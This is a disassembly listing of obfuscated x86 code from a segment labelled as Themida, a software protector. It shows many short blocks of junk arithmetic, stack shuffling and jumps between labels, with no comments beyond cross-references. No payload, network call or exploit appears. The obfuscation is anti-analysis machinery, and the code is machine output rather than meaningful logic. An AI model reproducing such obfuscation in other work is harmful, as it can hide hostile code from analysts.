; ---------------------------------------------------------------------------


loc_5A4BA9:				; CODE XREF: Themida_:0059AD51j
		mov	ebx, esi
		pop	esi
		jmp	loc_5A01C8
; ---------------------------------------------------------------------------


loc_5A4BB1:				; CODE XREF: Themida_:005A26E0j
		not	esi
		neg	esi
		jmp	loc_59A8F4
; ---------------------------------------------------------------------------


loc_5A4BBA:				; CODE XREF: Themida_:0059C16Fj
		pop	eax
		inc	eax
		xor	eax, 7D7724DAh
		and	eax, 21C9213Eh
		and	eax, 54A42B47h
		shr	eax, 5
		push	edx
		mov	edx, 5C5353B0h
		jmp	loc_5A30C0
; ---------------------------------------------------------------------------


loc_5A4BD9:				; CODE XREF: Themida_:005AB28Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_59900C
; ---------------------------------------------------------------------------


loc_5A4BF6:				; CODE XREF: Themida_:005A1F15j
		xchg	eax, ecx
		jmp	loc_59ED82
; ---------------------------------------------------------------------------


loc_5A4BFC:				; CODE XREF: Themida_:0059EF54j
		add	esp, 2
		jmp	loc_5A1F95
; ---------------------------------------------------------------------------


loc_5A4C04:				; CODE XREF: Themida_:005A7E9Dj
		mov	[esp], edi
		jmp	loc_59BF86
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	44D2h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59CB83
; ---------------------------------------------------------------------------


loc_5A4C27:				; CODE XREF: Themida_:00599B9Ej
		push	ecx
		push	ebp
		push	37305934h
		pop	ebp
		sub	ebp, 37305930h
		jmp	loc_5A1B2C
; ---------------------------------------------------------------------------


loc_5A4C3A:				; CODE XREF: Themida_:0059ADF1j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5AF859
; ---------------------------------------------------------------------------


loc_5A4C4A:				; CODE XREF: Themida_:005A510Aj
		mov	ebp, 1
		sub	edx, ebp
		pop	ebp
		shr	edx, 3
		push	edi
		mov	edi, 3E0E5A5Eh
		jmp	loc_5A6C34
; ---------------------------------------------------------------------------


loc_5A4C60:				; CODE XREF: Themida_:005A43DEj
		add	esp, 4
		jmp	loc_5ACA45
; ---------------------------------------------------------------------------


loc_5A4C6B:				; CODE XREF: Themida_:005AD3B6j
		mov	edi, 3698090Bh
		jmp	loc_59D562
; ---------------------------------------------------------------------------


loc_5A4C75:				; CODE XREF: Themida_:005A6AEFj
		sub	eax, edi
		jmp	loc_5AFC60
; ---------------------------------------------------------------------------


loc_5A4C7C:				; CODE XREF: Themida_:005A3CF1j
		pop	esp
		push	edx
		jmp	loc_5A9B1E
; ---------------------------------------------------------------------------


loc_5A4C83:				; CODE XREF: Themida_:005AE9BCj
		mov	[esp], esi
		mov	esi, 29AC1705h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 60F3385Ah
		sub	esi, ebp
		jmp	loc_5AB142
; ---------------------------------------------------------------------------


loc_5A4CA0:				; CODE XREF: Themida_:005AC8AAj
		push	small 4EF8h
		push	sp
		pop	small word ptr [esp]
		push	si
		jmp	loc_5ABC08
; ---------------------------------------------------------------------------


loc_5A4CB1:				; CODE XREF: Themida_:005ADE1Cj
		pop	eax
		jmp	loc_5AB3DB
; ---------------------------------------------------------------------------


loc_5A4CB7:				; CODE XREF: Themida_:005ADD1Aj
		add	edx, 623633E9h
		jp	loc_5A37C1
		xor	edx, 4C425281h
		jnp	loc_5A7DB6
		mov	edi, edx
		push	esi


loc_5A4CD2:				; CODE XREF: Themida_:005A3FE0j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	al, bl
		sub	al, 63h
		push	6DD3h
		jmp	loc_59F480
; ---------------------------------------------------------------------------


loc_5A4CE6:				; CODE XREF: Themida_:005AF6ACj
		sub	ebp, ecx
		push	eax
		mov	eax, 12BE20CAh
		sub	eax, 1
		push	ecx
		mov	ecx, 0CF84B3FDh
		sub	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		add	ebp, 66A13FE1h
		pop	ecx
		jmp	loc_5A07A9
; ---------------------------------------------------------------------------


loc_5A4D09:				; CODE XREF: Themida_:005A9938j
		neg	bh
		dec	bh
		sub	bh, 0A0h
		sub	al, bh
		pop	ebx
		sub	al, bh
		push	ebx
		mov	bh, 0B3h
		jmp	loc_5AA3E7
; ---------------------------------------------------------------------------


loc_5A4D1D:				; CODE XREF: Themida_:005AA9E4j
		mov	edx, 503B0AEAh
		add	edx, 7051017Dh
		inc	edx
		jmp	loc_599AAA
; ---------------------------------------------------------------------------


loc_5A4D2E:				; CODE XREF: Themida_:005AB418j
		xor	ecx, 6CBD7772h
		sub	edx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_5AAFDA
; ---------------------------------------------------------------------------


loc_5A4D3D:				; CODE XREF: Themida_:005A6C91j
		xchg	cl, dh
		inc	dh
		push	ecx
		mov	cl, 0E3h
		jmp	loc_5AEE18
; ---------------------------------------------------------------------------


loc_5A4D49:				; CODE XREF: Themida_:005AE110j
		sub	edi, 57731FFAh
		mov	eax, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5A203E
; ---------------------------------------------------------------------------


loc_5A4D5D:				; CODE XREF: Themida_:005AD5A5j
		mov	[esp], ecx
		jmp	loc_5A5FA0
; ---------------------------------------------------------------------------


loc_5A4D65:				; CODE XREF: Themida_:0059B802j
					; Themida_:005A12BEj
		pop	esp
		add	al, bl
		jmp	loc_5AF1F9
; ---------------------------------------------------------------------------


loc_5A4D6D:				; CODE XREF: Themida_:005A50B7j
		push	edx
		mov	edx, 60FF1936h
		not	edx
		shr	edx, 7
		jmp	loc_5A49A8
; ---------------------------------------------------------------------------


loc_5A4D7D:				; CODE XREF: Themida_:005AE5E0j
		add	esi, 4
		jmp	loc_5AF1AB
; ---------------------------------------------------------------------------


loc_5A4D88:				; CODE XREF: Themida_:00598A44j
		push	eax
		mov	eax, 1A815A3Fh
		mov	edx, 5519BD2Ch
		jmp	loc_5ABB6B
; ---------------------------------------------------------------------------


loc_5A4D98:				; CODE XREF: Themida_:005AFCABj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A4D9D:				; CODE XREF: Themida_:0059CC7Bj
		pop	esi
		sub	ebx, 4CA14F09h
		add	ebx, eax
		add	ebx, 4CA14F09h
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A7A3A
; ---------------------------------------------------------------------------


loc_5A4DC5:				; CODE XREF: Themida_:005AC889j
		add	ecx, 2824304h
		mov	edx, ecx
		jmp	loc_5A91E8
; ---------------------------------------------------------------------------


loc_5A4DD2:				; CODE XREF: Themida_:005A77ACj
		add	esi, ebx
		sub	esi, 2AE66228h
		pop	ebx
		push	ecx
		jmp	loc_5AF3EA
; ---------------------------------------------------------------------------


loc_5A4DE1:				; CODE XREF: Themida_:005AE502j
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A4DEA:				; CODE XREF: Themida_:0059A279j
					; Themida_:005AFABBj
		add	esp, 4
		jmp	loc_5A0EBF
; ---------------------------------------------------------------------------


loc_5A4DF2:				; CODE XREF: Themida_:005A008Bj
		push	47EFh
		mov	[esp], edx
		mov	edx, 65E0802h
		mov	ecx, edx
		pop	edx
		jmp	loc_5A4599
; ---------------------------------------------------------------------------


loc_5A4E07:				; CODE XREF: Themida_:005A472Cj
		neg	cx
		shr	cx, 2
		push	bp
		mov	bp, 7FB1h
		jmp	loc_598B3C
; ---------------------------------------------------------------------------


loc_5A4E19:				; CODE XREF: Themida_:005A6867j
		pop	ebx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6E9Fh
		mov	[esp], ebp
		push	6D64h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_59C889
; ---------------------------------------------------------------------------


loc_5A4E43:				; CODE XREF: Themida_:0059E156j
					; Themida_:0059FEDEj
		mov	[esp], edx
		mov	edx, 15A86C8Dh
		sub	edx, 1B0B1111h
		push	ebx
		mov	ebx, 0FA9D5B78h
		xor	edx, ebx
		pop	ebx
		add	eax, edx
		pop	edx
		push	edi
		mov	edi, 4
		sub	eax, 531C4ADDh
		add	eax, edi
		push	edi
		mov	edi, 50CB3CD4h
		shl	edi, 3
		not	edi
		xor	edi, 2ABA5382h
		add	eax, edi
		pop	edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_59A6AF
; ---------------------------------------------------------------------------


loc_5A4E89:				; CODE XREF: Themida_:005A3E2Fj
					; Themida_:005AD7C5j
		pop	ax
		jmp	loc_598C38
; ---------------------------------------------------------------------------


loc_5A4E90:				; CODE XREF: Themida_:00599BD4j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		jmp	loc_5A68E8
; ---------------------------------------------------------------------------


loc_5A4E9E:				; CODE XREF: Themida_:005A0737j
		mov	edi, esp
		jmp	loc_5A9304
; ---------------------------------------------------------------------------


loc_5A4EA5:				; CODE XREF: Themida_:0059EA43j
		shl	ch, 6
		jmp	loc_59EA9E
; ---------------------------------------------------------------------------


loc_5A4EAD:				; CODE XREF: Themida_:005A193Ej
		push	ebx
		mov	bl, 0CDh
		jmp	loc_5AE9E3
; ---------------------------------------------------------------------------


loc_5A4EB5:				; CODE XREF: Themida_:0059E4C8j
		add	edi, 4
		add	edi, 4
		jmp	loc_599A36
; ---------------------------------------------------------------------------


loc_5A4EC3:				; CODE XREF: Themida_:005ABE1Bj
		or	edx, 7A82E57h
		jz	loc_5A6BDC
		jmp	loc_5A60FA
; ---------------------------------------------------------------------------


loc_5A4ED4:				; CODE XREF: Themida_:0059B698j
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	67B4h
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A4F06:				; CODE XREF: Themida_:0059BC31j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A4F0B:				; CODE XREF: Themida_:0059B291j
		jns	loc_5A9DE2
		not	eax
		add	eax, 0CE517951h
		push	0
		neg	byte ptr [esp]
		pushf
		jmp	loc_59A12E
; ---------------------------------------------------------------------------


loc_5A4F26:				; CODE XREF: Themida_:005A3BF9j
		push	4
		pop	esi
		add	edx, 39F17F73h
		push	eax
		jmp	loc_5A0E9D
; ---------------------------------------------------------------------------


loc_5A4F38:				; CODE XREF: Themida_:loc_59B19Ej
		not	eax
		add	eax, 0FABAD2CDh
		jmp	loc_5AEE18
; ---------------------------------------------------------------------------


loc_5A4F44:				; CODE XREF: Themida_:005A62D4j
					; Themida_:005AF518j
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 5119596Eh
		sub	ebx, 73DF4281h
		jmp	loc_59C9FA
; ---------------------------------------------------------------------------


loc_5A4F58:				; CODE XREF: Themida_:005A44F6j
		sub	ebp, edx
		add	ebp, 746A7FBDh
		jmp	loc_59EC1F
; ---------------------------------------------------------------------------


loc_5A4F65:				; CODE XREF: Themida_:005AAF92j
		neg	edx
		jbe	loc_5A2CFB
		push	eax
		mov	eax, 590C6F83h
		neg	eax
		push	ecx
		mov	ah, bl
		mov	cl, al


loc_5A4F7A:				; CODE XREF: Themida_:loc_5AAEB1j
		jmp	loc_5A7586
; ---------------------------------------------------------------------------


loc_5A4F7F:				; CODE XREF: Themida_:005A0F2Dj
		push	eax
		mov	eax, 1D0754A8h
		shl	eax, 2
		push	ebx
		jmp	loc_5AC82D
; ---------------------------------------------------------------------------


loc_5A4F8E:				; CODE XREF: Themida_:005AE83Fj
		sub	ebx, 37A52391h
		push	edi
		mov	edi, 2D74210Ah
		jmp	loc_5A18DC
; ---------------------------------------------------------------------------


loc_5A4F9F:				; CODE XREF: Themida_:005A111Aj
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		mov	cl, dl
		pop	edx
		shr	cl, 6
		push	eax
		jmp	loc_5A34E2
; ---------------------------------------------------------------------------


loc_5A4FB6:				; CODE XREF: Themida_:005A6675j
					; Themida_:005A7BB4j
		add	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_5A7D04
; ---------------------------------------------------------------------------


loc_5A4FC2:				; CODE XREF: Themida_:005A4A8Fj
		jns	loc_5A1659
		not	eax
		add	eax, 0CE517951h
		mov	al, bl
		mov	bh, ah


loc_5A4FD3:				; CODE XREF: Themida_:005A639Ej
		add	edx, 4ADE1496h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, edi
		push	ebx
		push	eax
		push	2CFF4423h
		mov	eax, [esp]
		jmp	loc_5A437F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3CB5h
		jmp	loc_5A67C2
; ---------------------------------------------------------------------------


loc_5A5002:				; CODE XREF: Themida_:0059B1DEj
		push	0A73h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 278B1600h
		sub	eax, 278B15FCh
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598BA8
; ---------------------------------------------------------------------------


loc_5A5027:				; CODE XREF: Themida_:005AA21Aj
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_5AAD86
; ---------------------------------------------------------------------------


loc_5A5039:				; CODE XREF: Themida_:005A2379j
		inc	bl
		jge	loc_5A3A91
		or	bl, 3Bh
		add	bl, 0F8h
		jmp	loc_5AF329
; ---------------------------------------------------------------------------


loc_5A504C:				; CODE XREF: Themida_:005AAEB7j
		add	ecx, 70359D1Ch
		and	edi, ecx
		pop	ecx
		push	eax
		push	0FFFFFFFFh
		mov	eax, [esp]
		add	esp, 4
		add	edi, eax
		jmp	loc_5A5D78
; ---------------------------------------------------------------------------


loc_5A5068:				; CODE XREF: Themida_:005A0EC5j
		add	esp, 2
		push	small 30C4h
		mov	[esp], dx
		push	ecx
		push	eax
		mov	ah, 11h
		jmp	loc_5A72E8
; ---------------------------------------------------------------------------


loc_5A507F:				; CODE XREF: Themida_:005A3993j
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		push	0F3Eh
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5A38D7
; ---------------------------------------------------------------------------


loc_5A509D:				; CODE XREF: Themida_:005A727Fj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	400Ah
		mov	[esp], ebp
		jmp	loc_5A4D6D
; ---------------------------------------------------------------------------


loc_5A50BC:				; CODE XREF: Themida_:0059B82Ej
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 2E034361h
		add	edx, edi
		push	eax
		jmp	loc_5AB972
; ---------------------------------------------------------------------------


loc_5A50D3:				; CODE XREF: Themida_:0059C705j
		sub	eax, 2F31649Ch
		jmp	loc_5AA8F2
; ---------------------------------------------------------------------------


loc_5A50DD:				; CODE XREF: Themida_:005A48D6j
		jmp	loc_5A3093
; ---------------------------------------------------------------------------


loc_5A50E2:				; CODE XREF: Themida_:005AC839j
		sub	ebx, 0FFFFFFFFh
		neg	ebx
		or	ebx, 157504CFh
		xor	ebx, 0F4EB814Eh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edx, 5
		push	ebp
		jmp	loc_5A4C4A
; ---------------------------------------------------------------------------


loc_5A510F:				; CODE XREF: Themida_:005A7FBDj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	9FBh
		mov	[esp], esi
		push	67DC5EB6h
		pop	esi
		shl	esi, 5
		jmp	loc_59C2DA
; ---------------------------------------------------------------------------


loc_5A5132:				; CODE XREF: Themida_:005ACD16j
		sub	al, 64h
		sub	al, dl
		push	dx
		mov	dh, 64h
		add	al, dh
		jmp	loc_5A1999
; ---------------------------------------------------------------------------


loc_5A5141:				; CODE XREF: Themida_:00599D46j
		mov	esi, edx
		pop	edx
		jmp	loc_59F3F3
; ---------------------------------------------------------------------------


loc_5A5149:				; CODE XREF: Themida_:0059D265j
		push	edx
		mov	dh, al
		mov	ch, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		not	ch
		mov	al, ch
		pop	ecx
		xchg	al, dl
		add	dl, 0FFh
		add	dl, 0Bh
		sub	bl, 6Bh
		jmp	loc_5A1049
; ---------------------------------------------------------------------------


loc_5A516D:				; CODE XREF: Themida_:0059D9CFj
		push	edx
		jmp	loc_5AD863
; ---------------------------------------------------------------------------


loc_5A5173:				; CODE XREF: Themida_:005A6533j
		neg	esi
		xor	esi, 565064D7h
		jnp	loc_59F970
		jmp	loc_5A6BDC
; ---------------------------------------------------------------------------


loc_5A5186:				; CODE XREF: Themida_:0059C2E3j
		not	ebp
		xchg	eax, ebp
		xchg	eax, ebp
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		shl	esi, 2
		add	esi, 0EE2F5B08h
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 2
		add	eax, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		push	1998h
		jmp	loc_5997C0
; ---------------------------------------------------------------------------


loc_5A51B8:				; CODE XREF: Themida_:005AA192j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 40000h
		and	eax, ebp
		mov	ebp, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A99EA
; ---------------------------------------------------------------------------


loc_5A51D9:				; CODE XREF: Themida_:005AE803j
					; Themida_:005AEA69j
		add	al, 0E7h
		mov	dl, al
		jmp	loc_5A71C0
; ---------------------------------------------------------------------------


loc_5A51E2:				; CODE XREF: Themida_:005A6D1Bj
					; Themida_:005AC577j
		xor	eax, 326D2CECh
		xor	ebp, eax
		jmp	loc_5A3150
; ---------------------------------------------------------------------------


loc_5A51EE:				; CODE XREF: Themida_:005A02AAj
					; Themida_:005A065Cj
		shr	edx, 3
		xor	edx, 89E7F4Fh
		jnz	loc_5AD063
		and	edx, 77B50859h
		jz	loc_59F7C5
		shr	edx, 1


loc_5A520B:				; CODE XREF: Themida_:0059C2D5j
					; Themida_:0059FEF7j
		push	4
		pop	ecx
		add	ebp, ecx
		pop	ecx
		push	ebx
		push	edi
		mov	edi, 18404161h
		xor	edi, 18404163h
		mov	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5AE5D3
; ---------------------------------------------------------------------------


loc_5A5236:				; CODE XREF: Themida_:005A7B95j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_5A4993
; ---------------------------------------------------------------------------


loc_5A5252:				; CODE XREF: Themida_:005A6ABBj
		mov	ecx, 581747E3h
		xor	ecx, 486B6AA1h
		sub	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 69E19F9h
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edi, edx
		jmp	loc_59D5DA
; ---------------------------------------------------------------------------


loc_5A5279:				; CODE XREF: Themida_:0059F373j
		mov	edx, 0C930B957h
		add	edi, 7F4D7FA1h
		jmp	loc_5A3749
; ---------------------------------------------------------------------------


loc_5A5289:				; CODE XREF: Themida_:005AAAB7j
		mov	ebx, 4
		push	ebp
		jmp	loc_59F312
; ---------------------------------------------------------------------------


loc_5A5294:				; CODE XREF: Themida_:005A3E3Dj
		xor	ecx, eax
		pop	eax
		push	esi
		jmp	loc_5ACF34
; ---------------------------------------------------------------------------


loc_5A529D:				; CODE XREF: Themida_:005A1448j
		mov	fs:[edx], ax
		jmp	loc_5A7A95
; ---------------------------------------------------------------------------


loc_5A52A6:				; CODE XREF: Themida_:005A0251j
		mov	dh, ch
		pop	ecx
		jmp	loc_5A4946
; ---------------------------------------------------------------------------


loc_5A52AE:				; DATA XREF: Themida_:00598840o
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5AC124
		push	edx
		mov	edx, 6EF32A51h
		jmp	loc_5ADFCC
; ---------------------------------------------------------------------------


loc_5A52C4:				; CODE XREF: Themida_:00599CFBj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59E512
; ---------------------------------------------------------------------------


loc_5A52D2:				; CODE XREF: Themida_:005AD8CBj
		push	624B26FBh
		mov	eax, [esp]
		add	esp, 4
		add	edx, eax
		mov	eax, [esp]
		push	ecx
		jmp	loc_5ADCDA
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	351Ah
		jmp	loc_5ACA71
; ---------------------------------------------------------------------------


loc_5A530F:				; CODE XREF: Themida_:005AFDBEj
		mov	edx, 2
		add	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	217Ch
		mov	[esp], ebx
		mov	ebx, 0
		push	eax
		jmp	loc_5AA448
; ---------------------------------------------------------------------------


loc_5A533E:				; CODE XREF: Themida_:005A99F2j
		mov	ecx, 192A02E1h
		or	ecx, 13830FFAh
		push	ebp
		push	ecx
		mov	ecx, 31E03419h
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 1B5D1456h
		jmp	loc_5A89B1
; ---------------------------------------------------------------------------


loc_5A535E:				; CODE XREF: Themida_:0059A40Cj
		add	eax, 2EA639B1h
		push	edi
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 1B1A1FF3h
		mov	eax, ebx
		jmp	loc_59E9B2
; ---------------------------------------------------------------------------


loc_5A5378:				; CODE XREF: Themida_:005AF6D3j
		add	dword ptr [esp], 50196C61h
		pop	eax
		push	ebx
		jmp	loc_5AD0B2
; ---------------------------------------------------------------------------


loc_5A5386:				; CODE XREF: Themida_:005A3772j
		mov	edi, ebp
		mov	ebp, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_59ADB5
; ---------------------------------------------------------------------------


loc_5A53A7:				; CODE XREF: Themida_:005A821Ej
		add	ecx, 4
		sub	ecx, 2
		jmp	loc_5A8AC3
; ---------------------------------------------------------------------------


loc_5A53B8:				; CODE XREF: Themida_:005A464Fj
		dec	edx
		push	1526h
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_59C3EA
; ---------------------------------------------------------------------------


loc_5A53CB:				; CODE XREF: Themida_:005AEC7Dj
		push	59Ah
		mov	[esp], eax
		push	ebx
		mov	ebx, 795E50FAh
		mov	eax, ebx
		pop	ebx
		and	eax, 5B534AE0h
		jmp	loc_5A5898
; ---------------------------------------------------------------------------


loc_5A53E6:				; CODE XREF: Themida_:005A9AF6j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2A16
; ---------------------------------------------------------------------------


loc_5A53F4:				; CODE XREF: Themida_:005AC3AFj
		mov	ebx, 6C166766h
		jmp	loc_5A9640
; ---------------------------------------------------------------------------


loc_5A53FE:				; CODE XREF: Themida_:0059C46Fj
		sub	edi, ebx
		jmp	loc_5A3741
; ---------------------------------------------------------------------------


loc_5A5405:				; CODE XREF: Themida_:00598CEDj
		mov	[esp], eax
		jmp	loc_5A0158
; ---------------------------------------------------------------------------


loc_5A540D:				; CODE XREF: Themida_:005A3218j
		add	esp, 4
		jmp	loc_5AB815
; ---------------------------------------------------------------------------


loc_5A5415:				; CODE XREF: Themida_:loc_5A0756j
		shl	edx, 3
		jz	loc_5AA60D
		push	ebx
		jmp	loc_59DE40
; ---------------------------------------------------------------------------


loc_5A5424:				; CODE XREF: Themida_:0059C8CCj
		add	ebp, 4
		push	7276h
		mov	[esp], ecx
		push	57A4h
		mov	[esp], edx
		jmp	loc_59ADF6
; ---------------------------------------------------------------------------


loc_5A543F:				; CODE XREF: Themida_:loc_5A5A45j
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0C0h
		neg	al
		jmp	loc_5ACCE6
; ---------------------------------------------------------------------------


loc_5A5451:				; CODE XREF: Themida_:0059E484j
		sub	ebp, 37747F73h
		jmp	loc_5A11FF
; ---------------------------------------------------------------------------


loc_5A545C:				; CODE XREF: Themida_:005AE99Bj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4C9B70B3h
		jmp	loc_59952D
; ---------------------------------------------------------------------------


loc_5A5471:				; CODE XREF: Themida_:005A2DBAj
		dec	esi
		add	esi, 7F475EFEh
		jmp	loc_5A5BE8
; ---------------------------------------------------------------------------


loc_5A547D:				; CODE XREF: Themida_:005AF0AAj
		sub	ebx, esi
		sub	ebx, 2526775Bh
		pop	esi
		add	ebx, 2FFB43D3h
		add	ebx, 0F199CF22h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A4962
; ---------------------------------------------------------------------------


loc_5A549A:				; CODE XREF: Themida_:005A283Fj
		jns	loc_5AB364
		add	esi, 21BD7600h
		jmp	loc_5A01EE
; ---------------------------------------------------------------------------


loc_5A54AB:				; CODE XREF: Themida_:005AF280j
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_59C756
; ---------------------------------------------------------------------------


loc_5A54BF:				; CODE XREF: Themida_:005A0935j
		pop	esp
		mov	[esp], ebp
		jmp	loc_5AA704
; ---------------------------------------------------------------------------


loc_5A54C8:				; CODE XREF: Themida_:005A71CCj
		sub	cl, 0EDh
		and	dl, cl
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	al, dl
		mov	ch, al
		jmp	loc_59E126
; ---------------------------------------------------------------------------


loc_5A54E1:				; CODE XREF: Themida_:005AD9BCj
		and	ebp, 2F0D1201h
		jmp	loc_5AD3CE
; ---------------------------------------------------------------------------


loc_5A54EC:				; CODE XREF: Themida_:005A745Ej
		mov	ebx, edx
		jmp	loc_5997C0
; ---------------------------------------------------------------------------


loc_5A54F3:				; CODE XREF: Themida_:005AD7F3j
		sub	dh, bl
		pop	bx
		jmp	loc_59D968
; ---------------------------------------------------------------------------


loc_5A54FC:				; CODE XREF: Themida_:0059EAFCj
					; Themida_:005A2540j
		add	ebp, 0FFFFFFFFh
		inc	ebp
		sub	ebp, 1
		jmp	loc_59B5C8
; ---------------------------------------------------------------------------


loc_5A550B:				; CODE XREF: Themida_:0059C723j
		sub	ebx, 58142D19h
		sub	ebx, 70101621h
		push	40EBh
		mov	[esp], eax
		jmp	loc_59997C
; ---------------------------------------------------------------------------


loc_5A5524:				; CODE XREF: Themida_:005A7FFFj
		push	eax
		jmp	loc_5A8B16
; ---------------------------------------------------------------------------


loc_5A552A:				; CODE XREF: Themida_:005AD7D4j
		sub	ecx, 1
		push	edx
		push	ecx
		mov	ecx, 158C058Dh
		dec	ecx
		jmp	loc_5A1C78
; ---------------------------------------------------------------------------


loc_5A553D:				; CODE XREF: Themida_:005990ACj
		sub	ebx, 58D5807Ah
		sub	ebp, ebx
		jmp	loc_5A4B23
; ---------------------------------------------------------------------------


loc_5A554A:				; CODE XREF: Themida_:0059CD11j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A8620
; ---------------------------------------------------------------------------


loc_5A555F:				; CODE XREF: Themida_:0059D0C9j
		xor	esi, 105422ABh
		sub	ebp, 498E54D3h
		add	ebp, esi
		push	eax
		mov	eax, 498E54D3h
		jmp	loc_5AA254
; ---------------------------------------------------------------------------


loc_5A5578:				; CODE XREF: Themida_:005A08F9j
					; Themida_:005A1A3Cj
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A5598:				; CODE XREF: Themida_:005A0A94j
		add	dword ptr [esp+4], 36B6653h
		push	edx
		mov	edx, 413F0848h
		add	dword ptr [esp+8], 5B8C0D3Ch
		sub	[esp+8], edx
		sub	dword ptr [esp+8], 5B8C0D3Ch
		pop	edx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 1D92135Ah
		xor	eax, 1D92135Eh
		add	edi, eax
		pop	eax
		jmp	loc_5A6B15
; ---------------------------------------------------------------------------


loc_5A55D4:				; CODE XREF: Themida_:005AB83Aj
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A03C9
; ---------------------------------------------------------------------------


loc_5A55EB:				; CODE XREF: Themida_:005A2D11j
		xor	ecx, 253883B5h
		sub	eax, ecx
		pop	ecx
		xor	edx, eax
		pop	eax
		and	eax, edx
		jmp	loc_5AC104
; ---------------------------------------------------------------------------


loc_5A55FE:				; CODE XREF: Themida_:005A0E23j
		add	eax, 0C8E3C7Eh
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A7152
